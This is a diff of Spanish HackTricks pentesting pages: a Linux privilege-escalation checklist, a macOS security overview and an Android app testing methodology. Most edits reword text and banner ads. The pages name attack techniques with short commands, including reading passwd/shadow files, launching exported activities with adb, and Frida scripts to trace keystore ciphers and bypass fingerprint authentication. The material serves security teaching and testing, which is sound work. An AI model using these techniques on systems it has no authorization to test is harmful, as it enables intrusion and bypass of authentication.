* [ ] ¿Puedes **capturar tráfico** usando `tcpdump`?
@ -146,11 +146,11 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
* [ ] **Archivos de perfil** - ¿Leer datos sensibles? ¿Escribir para privesc?
* [ ] **Archivos passwd/shadow** - ¿Leer datos sensibles? ¿Escribir para privesc?
* [ ] **Verificar carpetas comúnmente interesantes** en busca de datos sensibles
* [ ] **Ubicación/Archivos extraños,** a los que podrías tener acceso o alterar archivos ejecutables
* [ ] **Ubicación extraña/Archivos propiedad,** a los que podrías tener acceso o alterar archivos ejecutables
* [ ] **Modificados** en los últimos minutos
* [ ] **Archivos de base de datos Sqlite**
* [ ] **Archivos ocultos**
* [ ] **Scripts/Binarios en PATH**
* [ ] **Script/Binarios en PATH**
* [ ] **Archivos web** (¿contraseñas?)
* [ ] **¿Copias de seguridad?**
* [ ] **Archivos conocidos que contienen contraseñas**: Usa **Linpeas** y **LaZagne**
@ -168,20 +168,20 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
* [ ] ¿Puedes [**abusar de NFS para escalar privilegios**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] ¿Necesitas [**escapar de un shell restrictivo**](privilege-escalation/#escaping-from-restricted-shells)?
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,18 +15,18 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking.
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
@ -64,7 +64,7 @@ Si no estás familiarizado con macOS, deberías comenzar a aprender los concepto
[macos-protocols.md](macos-protocols.md)
{% endcontent-ref %}
* **Open source** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
* **Código abierto** de macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
* Para descargar un `tar.gz`, cambia una URL como [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) a [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MDM de MacOS
@ -107,9 +107,9 @@ Para este tipo de vulnerabilidades, no olvides **verificar instaladores `.pkg` v
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
{% endcontent-ref %}
### Manejadores de Aplicaciones de Extensión de Archivo y Esquema de URL
### Controladores de Aplicaciones de Extensión de Archivo y Esquema de URL
Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos.
Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos
{% content-ref url="macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](macos-file-extension-apps.md)
@ -117,7 +117,7 @@ Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusa
## Escalación de Privilegios TCC / SIP de macOS
En macOS, **las aplicaciones y binarios pueden tener permisos** para acceder a carpetas o configuraciones que los hacen más privilegiados que otros.
En macOS, **las aplicaciones y binarios pueden tener permisos** para acceder a carpetas o configuraciones que les otorgan más privilegios que a otros.
Por lo tanto, un atacante que quiera comprometer con éxito una máquina macOS necesitará **escalar sus privilegios TCC** (o incluso **eludir SIP**, dependiendo de sus necesidades).
@ -145,18 +145,18 @@ Por supuesto, desde la perspectiva de un equipo rojo, también deberías estar i
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking.
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!

View file

@ -15,18 +15,18 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking.
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
@ -80,7 +80,7 @@ Por favor, [**lee aquí para encontrar información sobre diferentes descompilad
### Buscando información interesante
Solo echando un vistazo a las **cadenas** del APK puedes buscar **contraseñas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **claves** de **api**, **cifrado**, **bluetooth uuids**, **tokens** y cualquier cosa interesante... busca incluso **backdoors** de ejecución de código o backdoors de autenticación (credenciales de administrador codificadas en la aplicación).
Solo echando un vistazo a las **cadenas** del APK puedes buscar **contraseñas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **claves** **api**, **cifrado**, **bluetooth uuids**, **tokens** y cualquier cosa interesante... busca incluso **puertas traseras** de ejecución de código o puertas traseras de autenticación (credenciales de administrador codificadas en la aplicación).
**Firebase**
@ -92,19 +92,19 @@ La **examinación de los archivos \_Manifest.xml**_\*\* y \*\*_**strings.xml**\_
**Vulnerabilidades** identificadas en el **Manifest.xml** incluyen:
* **Aplicaciones Depurables**: Las aplicaciones configuradas como depurables (`debuggable="true"`) en el archivo _Manifest.xml_ representan un riesgo ya que permiten conexiones que pueden llevar a la explotación. Para una mejor comprensión sobre cómo explotar aplicaciones depurables, consulta un tutorial sobre cómo encontrar y explotar aplicaciones depurables en un dispositivo.
* **Configuraciones de Respaldo**: El atributo `android:allowBackup="false"` debe ser establecido explícitamente para aplicaciones que manejan información sensible para prevenir respaldos de datos no autorizados a través de adb, especialmente cuando la depuración por usb está habilitada.
* **Seguridad de Red**: Configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como pines de certificado y configuraciones de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos.
* **Actividades y Servicios Exportados**: Identificar actividades y servicios exportados en el manifiesto puede resaltar componentes que podrían ser mal utilizados. Un análisis adicional durante las pruebas dinámicas puede revelar cómo explotar estos componentes.
* **Proveedores de Contenido y FileProviders**: Proveedores de contenido expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de los FileProviders también debe ser examinada.
* **Receptores de Difusión y Esquemas de URL**: Estos componentes podrían ser aprovechados para explotación, prestando especial atención a cómo se gestionan los esquemas de URL para vulnerabilidades de entrada.
* **Aplicaciones depurables**: Las aplicaciones configuradas como depurables (`debuggable="true"`) en el archivo _Manifest.xml_ representan un riesgo ya que permiten conexiones que pueden llevar a la explotación. Para una mejor comprensión sobre cómo explotar aplicaciones depurables, consulta un tutorial sobre cómo encontrar y explotar aplicaciones depurables en un dispositivo.
* **Configuraciones de respaldo**: El atributo `android:allowBackup="false"` debe establecerse explícitamente para aplicaciones que manejan información sensible para prevenir copias de seguridad no autorizadas a través de adb, especialmente cuando la depuración por usb está habilitada.
* **Seguridad de red**: Configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como pines de certificado y configuraciones de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos.
* **Actividades y servicios exportados**: Identificar actividades y servicios exportados en el manifiesto puede resaltar componentes que podrían ser mal utilizados. Un análisis adicional durante las pruebas dinámicas puede revelar cómo explotar estos componentes.
* **Proveedores de contenido y FileProviders**: Los proveedores de contenido expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de los FileProviders también debe ser examinada.
* **Receptores de difusión y esquemas de URL**: Estos componentes podrían ser aprovechados para la explotación, prestando especial atención a cómo se gestionan los esquemas de URL para vulnerabilidades de entrada.
* **Versiones de SDK**: Los atributos `minSdkVersion`, `targetSDKVersion` y `maxSdkVersion` indican las versiones de Android soportadas, destacando la importancia de no soportar versiones de Android obsoletas y vulnerables por razones de seguridad.
Del archivo **strings.xml**, se puede descubrir información sensible como claves de API, esquemas personalizados y otras notas de desarrollador, subrayando la necesidad de una revisión cuidadosa de estos recursos.
Del archivo **strings.xml**, se puede descubrir información sensible como claves API, esquemas personalizados y otras notas de desarrollador, subrayando la necesidad de una revisión cuidadosa de estos recursos.
### Tapjacking
**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oculta visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para interactuar con ella, mientras pasa la interacción a la aplicación víctima.\
**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oculta visiblemente la aplicación víctima, su interfaz de usuario está diseñada de tal manera que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la aplicación víctima.\
En efecto, está **cegando al usuario para que no sepa que realmente está realizando acciones en la aplicación víctima**.
Encuentra más información en:
@ -183,9 +183,9 @@ Los desarrolladores no deberían usar **algoritmos obsoletos** para realizar **v
### Otras verificaciones
* Se recomienda **ofuscar el APK** para dificultar el trabajo de ingeniería inversa a los atacantes.
* Si la aplicación es sensible (como las aplicaciones bancarias), debería realizar sus **propias verificaciones para ver si el móvil está rooteado** y actuar en consecuencia.
* Si la aplicación es sensible (como las aplicaciones bancarias), debería verificar si se está utilizando un **emulador**.
* Si la aplicación es sensible (como las aplicaciones bancarias), debería **verificar su propia integridad antes de ejecutarse** para comprobar si ha sido modificada.
* Si la aplicación es sensible (como aplicaciones bancarias), debería realizar sus **propias verificaciones para ver si el móvil está rooteado** y actuar en consecuencia.
* Si la aplicación es sensible (como aplicaciones bancarias), debería verificar si se está utilizando un **emulador**.
* Si la aplicación es sensible (como aplicaciones bancarias), debería **verificar su propia integridad antes de ejecutarse** para comprobar si ha sido modificada.
* Usa [**APKiD**](https://github.com/rednaga/APKiD) para verificar qué compilador/empaquetador/ofuscador se utilizó para construir el APK.
### Aplicación React Native
@ -239,9 +239,9 @@ Una aplicación puede contener secretos (claves API, contraseñas, URLs ocultas,
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas!
**Perspectivas de Hacking**\
Involúcrate con contenido que profundiza en la emoción y los desafíos del hacking.
@ -250,7 +250,7 @@ Involúcrate con contenido que profundiza en la emoción y los desafíos del hac
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma.
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
@ -270,11 +270,11 @@ Incluso puedes **ver los registros de tu aplicación** en la web y conectarte a
Gracias a la conexión ADB, puedes usar **Drozer** y **Frida** dentro de los emuladores.
### Análisis Dinámico Local
### Análisis dinámico local
#### Usando un emulador
* [**Android Studio**](https://developer.android.com/studio) (Puedes crear dispositivos **x86** y **arm**, y según [**esto**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **las últimas versiones x86** **soportan bibliotecas ARM** sin necesidad de un emulador arm lento).
* [**Android Studio**](https://developer.android.com/studio) (Puedes crear dispositivos **x86** y **arm**, y de acuerdo a [**esto**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html), las **últimas versiones x86** **soportan bibliotecas ARM** sin necesidad de un emulador arm lento).
* Aprende a configurarlo en esta página:
{% content-ref url="avd-android-virtual-device.md" %}
@ -318,9 +318,9 @@ Ten en cuenta que desde **versiones posteriores a Android 4.0**, **las aplicacio
De todos modos, sigue siendo recomendable **no registrar información sensible**.
{% endhint %}
**Caché del Portapapeles**
**Caché del Portapapeles de Copia/Pega**
El marco **basado en portapapeles** de Android permite la funcionalidad de copiar y pegar en las aplicaciones, pero presenta un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copiar/pegar** para secciones sensibles de una aplicación, como los detalles de tarjetas de crédito, para prevenir filtraciones de datos.
El marco **basado en portapapeles** de Android permite la funcionalidad de copiar y pegar en aplicaciones, pero presenta un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copia/pega** para secciones sensibles de una aplicación, como los detalles de tarjetas de crédito, para prevenir filtraciones de datos.
**Registros de Fallos**
@ -330,7 +330,7 @@ Como pentester, **intenta echar un vistazo a estos registros**.
**Datos de Análisis Enviados a Terceros**
Las aplicaciones a menudo integran servicios como Google Adsense, que pueden inadvertidamente **filtrar datos sensibles** debido a una implementación incorrecta por parte de los desarrolladores. Para identificar posibles filtraciones de datos, es aconsejable **interceptar el tráfico de la aplicación** y verificar si se está enviando información sensible a servicios de terceros.
Las aplicaciones a menudo integran servicios como Google Adsense, lo que puede filtrar inadvertidamente **datos sensibles** debido a una implementación incorrecta por parte de los desarrolladores. Para identificar posibles filtraciones de datos, es aconsejable **interceptar el tráfico de la aplicación** y verificar si se está enviando información sensible a servicios de terceros.
### Bases de Datos SQLite
@ -341,9 +341,9 @@ Si la base de datos está guardando información confidencial y está **encripta
Enumera las tablas usando `.tables` y enumera las columnas de las tablas haciendo `.schema <table_name>`.
### Drozer (Explotar Actividades, Proveedores de Contenido y Servicios)
### Drozer (Explotar Actividades Exportadas, Proveedores de Contenido y Servicios)
De [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** te permite **asumir el rol de una aplicación Android** e interactuar con otras aplicaciones. Puede hacer **cualquier cosa que una aplicación instalada puede hacer**, como hacer uso del mecanismo de Comunicación entre Procesos (IPC) de Android e interactuar con el sistema operativo subyacente.\
Desde [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** te permite **asumir el rol de una aplicación Android** e interactuar con otras aplicaciones. Puede hacer **cualquier cosa que una aplicación instalada puede hacer**, como hacer uso del mecanismo de Comunicación entre Procesos (IPC) de Android e interactuar con el sistema operativo subyacente.\
Drozer es una herramienta útil para **explotar actividades exportadas, servicios exportados y Proveedores de Contenido** como aprenderás en las siguientes secciones.
### Explotando Actividades Exportadas
@ -367,7 +367,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**NOTA**: MobSF detectará como malicioso el uso de _**singleTask/singleInstance**_ como `android:launchMode` en una actividad, pero debido a [esto](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente esto solo es peligroso en versiones antiguas (versiones de API < 21).
{% hint style="info" %}
Ten en cuenta que un bypass de autorización no siempre es una vulnerabilidad, dependerá de cómo funcione el bypass y qué información esté expuesta.
Ten en cuenta que un bypass de autorización no siempre es una vulnerabilidad, dependería de cómo funciona el bypass y qué información se expone.
{% endhint %}
**Filtración de información sensible**
@ -450,7 +450,7 @@ Un [informe de bug bounty interesante](https://hackerone.com/reports/855618) sob
#### Verificación de Certificados
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa.
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa.
#### SSL Pinning
@ -460,7 +460,7 @@ SSL Pinning es una medida de seguridad donde la aplicación verifica el certific
Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico encriptado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar tráfico encriptado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar el tráfico encriptado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
#### Bypass de SSL Pinning
@ -519,9 +519,9 @@ Para acceder a los datos dentro del keystore, podrías usar este script de Frida
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Bypass de huellas dactilares/bio-métricas**
### **Bypass de huellas dactilares/bio-metría**
Usando el siguiente script de Frida, podría ser posible **eludir la autenticación por huellas dactilares** que las aplicaciones de Android podrían estar realizando para **proteger ciertas áreas sensibles:**
Usando el siguiente script de Frida, podría ser posible **eludir la autenticación por huella dactilar** que las aplicaciones de Android podrían estar realizando para **proteger ciertas áreas sensibles:**
{% code overflow="wrap" %}
```bash
@ -535,9 +535,9 @@ Cuando pones una aplicación en segundo plano, Android almacena un **instantáne
Sin embargo, si esta instantánea contiene **información sensible**, alguien con acceso a la instantánea podría **robar esa información** (ten en cuenta que necesitas root para acceder a ella).
Las instantáneas generalmente se almacenan en: **`/data/system_ce/0/snapshots`**
Las instantáneas suelen almacenarse en: **`/data/system_ce/0/snapshots`**
Android proporciona una manera de **prevenir la captura de pantalla configurando el parámetro de diseño FLAG\_SECURE**. Al usar esta bandera, el contenido de la ventana se trata como seguro, impidiendo que aparezca en capturas de pantalla o que se vea en pantallas no seguras.
Android proporciona una forma de **prevenir la captura de pantalla configurando el parámetro de diseño FLAG\_SECURE**. Al usar esta bandera, el contenido de la ventana se trata como seguro, impidiendo que aparezca en capturas de pantalla o que se vea en pantallas no seguras.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -570,9 +570,9 @@ Probablemente conozcas este tipo de vulnerabilidades de la web. Debes tener espe
***
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking.
@ -581,7 +581,7 @@ Participa en contenido que profundiza en la emoción y los desafíos del hacking
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real.
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma.
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
@ -637,7 +637,7 @@ Una vez que hayas seleccionado el módulo auxiliar que deseas usar, necesitas pr
**Shell**
MobSF también te ofrece una shell con algunos comandos **adb**, **comandos de MobSF**, y comandos comunes de **shell** en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes:
Mobsf también te ofrece una shell con algunos comandos **adb**, **comandos de MobSF**, y comandos comunes de **shell** en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes:
```bash
help
shell ls
@ -654,7 +654,7 @@ Para hacerlo, _enciende Burp -->_ _apaga Intercept --> en MobSB HTTPTools selecc
Una vez que termines el análisis dinámico con MobSF, puedes presionar en "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades.
{% hint style="info" %}
Después de realizar un análisis dinámico con MobSF, la configuración del proxy puede estar mal configurada y no podrás solucionarlo desde la GUI. Puedes corregir la configuración del proxy haciendo:
Después de realizar un análisis dinámico con MobSF, la configuración del proxy puede estar mal configurada y no podrás solucionarlo desde la GUI. Puedes arreglar la configuración del proxy haciendo:
```
adb shell settings put global http_proxy :0
```
@ -716,7 +716,7 @@ Descargar [última versión](https://github.com/vincentcox/StaCoAn/releases):
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
AndroBugs Framework es un sistema de análisis de vulnerabilidades de Android que ayuda a los desarrolladores o hackers a encontrar posibles vulnerabilidades de seguridad en aplicaciones de Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
[Versiones de Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
```
python androbugs.py -f [APK file]
androbugs.exe -f [APK file]
@ -739,7 +739,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
Es capaz de:
* Extraer código Java y Smali usando diferentes herramientas
* Extraer código Java y Smali utilizando diferentes herramientas
* Analizar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs\_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
* Extraer información privada del APK usando regexps.
* Analizar el Manifest.
@ -750,13 +750,13 @@ Es capaz de:
Útil para detectar malware: [https://koodous.com/](https://koodous.com)
## Ofuscando/Deofuscando código
## Obfuscating/Deobfuscating code
Tenga en cuenta que dependiendo del servicio y la configuración que utilice para ofuscar el código. Los secretos pueden o no terminar ofuscados.
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
De [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** es una herramienta de línea de comandos de código abierto que reduce, optimiza y ofusca código Java. Es capaz de optimizar bytecode así como detectar y eliminar instrucciones no utilizadas. ProGuard es software libre y se distribuye bajo la Licencia Pública General de GNU, versión 2.
De [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)): **ProGuard** es una herramienta de línea de comandos de código abierto que reduce, optimiza y ofusca el código Java. Es capaz de optimizar bytecode así como detectar y eliminar instrucciones no utilizadas. ProGuard es software libre y se distribuye bajo la Licencia Pública General de GNU, versión 2.
ProGuard se distribuye como parte del SDK de Android y se ejecuta al construir la aplicación en modo de lanzamiento.
@ -768,7 +768,7 @@ Encuentra una guía paso a paso para deofuscar el apk en [https://blog.lexfo.fr/
* cargar un recurso como un InputStream;
* alimentar el resultado a una clase que hereda de FilterInputStream para descifrarlo;
* hacer alguna ofuscación inútil para desperdiciar unos minutos del tiempo de un reversor;
* hacer alguna ofuscación inútil para perder unos minutos de tiempo de un reversor;
* alimentar el resultado descifrado a un ZipInputStream para obtener un archivo DEX;
* finalmente cargar el DEX resultante como un Recurso usando el método `loadDex`.
@ -784,7 +784,7 @@ Es un **deofuscador genérico de android.** Simplify **ejecuta virtualmente una
### [APKiD](https://github.com/rednaga/APKiD)
APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores**, y otras cosas extrañas. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores** y otras cosas extrañas. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
### Manual
@ -796,7 +796,7 @@ APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **com
AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate que incluye la colección de los últimos frameworks, tutoriales y laboratorios de diferentes expertos en seguridad e investigadores para ingeniería inversa y análisis de malware.
## Referencias
## References
* [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Es una gran lista de recursos
@ -805,33 +805,33 @@ AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate q
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
* [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
## Aún por probar
## Yet to try
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Únete al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores!
Únete al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas de errores!
**Perspectivas de Hacking**\
**Hacking Insights**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
**Real-Time Hack News**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
**Latest Announcements**\
